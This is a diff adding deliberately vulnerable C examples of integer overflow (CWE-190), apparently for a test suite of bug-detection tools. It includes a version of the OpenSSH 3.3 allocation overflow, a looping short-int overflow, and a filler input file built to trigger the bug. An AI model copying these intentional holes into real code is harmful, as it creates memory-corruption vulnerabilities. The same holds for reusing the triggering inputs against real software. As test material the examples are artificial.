+The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow: +(Bad Code)Example Language: C + +@BAD_ARGS +@ATTACK_SUCCEEDED_CODE 139 + +*/ + +#include <stdlib.h> +#include <stdio.h> +#ifdef ASSERT + #include <assert.h> +#endif +int packet_get_int() { return 1073741824; } +char* packet_get_string() { return "Hello World"; } + + +int main(int argc, char **argv) +{ + unsigned int nresp = packet_get_int(); + if (nresp > 0) { + unsigned bytestomalloc = nresp * sizeof(char*); + char **response = malloc(bytestomalloc); + + int i; + for (i = 0; i < nresp; i++) response[i] = packet_get_string(); + } +#ifdef ASSERT +assert( (nresp*sizeof(char*))>0 ); +#endif + exit(0); +} + +/* +If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response. +*/ + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..a51d811ed14ccabac69e805ed285432ad0dbe466 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c @@ -0,0 +1,80 @@ +/* +Integer Overflow or Wraparound + + +Description Summary +The software performs a calculation that can produce an integer overflow or wraparound, +when the logic assumes that the resulting value will always be larger than the original +value. This can introduce other weaknesses when the calculation is used for resource +management or execution control. + +Extended Description +An integer overflow or wraparound occurs when an integer value is incremented to a +value that is too large to store in the associated representation. When this occurs, +the value may wrap to become a very small or negative number. While this may be +intended behavior in circumstances that rely on wrapping, it can have security +consequences if the wrap is unexpected. This is especially the case if the integer +overflow can be triggered using user-supplied inputs. This becomes security-critical +when the result is used to control looping, make a security decision, or determine +the offset or size in behaviors such as memory allocation, copying, concatenation, etc. + +Common Consequences +Scope Effect +Availability Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU) + Integer overflows generally lead to undefined behavior and therefore + crashes. In the case of overflows involving loop index variables, the + likelihood of infinite loops is also high. + +Integrity Technical Impact: Modify memory + If the value in question is important to data (as opposed to flow), + simple data corruption may occur. Also, if the integer overflow results + in a buffer overflow condition, data corruption may take place. + +Access Control +Integrity Technical Impact: Execute unauthorized code or commands + Integer overflows can sometimes trigger buffer overflows which can be + used to execute arbitrary code. This is usually outside the scope of a + program's implicit security policy. + +Example 2 +Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior: +(Bad Code)Example Language: C + +@GOOD_ARGS 100 <Example2_good.txt +@BAD_ARGS 32767 <Example2_bad.txt +@ATTACK_SUCCEEDED_CODE 1 +*/ + +#include <stdio.h> +#include <string.h> +#include <stdlib.h> + +short int getFromInput(char* buf) +{ + scanf("%s\n", buf); + return strlen(buf); +} + +#define SOMEBIGNUM 100000 +void doit(int MAXGET) +{ + short int bytesRec = 0; + char buf[SOMEBIGNUM]; + int count = 0; + + while(bytesRec < MAXGET) { + bytesRec += getFromInput(buf+bytesRec); + if (count++ > 10000) { exit(1); } + } +} + +int main(int argc, char **argv) +{ + doit(atoi(argv[1])); + exit(0); +} + +/* +In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf. + +*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_bad.txt b/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_bad.txt new file mode 100644 index 0000000000000000000000000000000000000000..486393c9443e9fb3e0b234e3dc699d6a04792eca --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_bad.txt @@ -0,0 +1,401 @@ +400 lines of 100 - more than 32767 +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 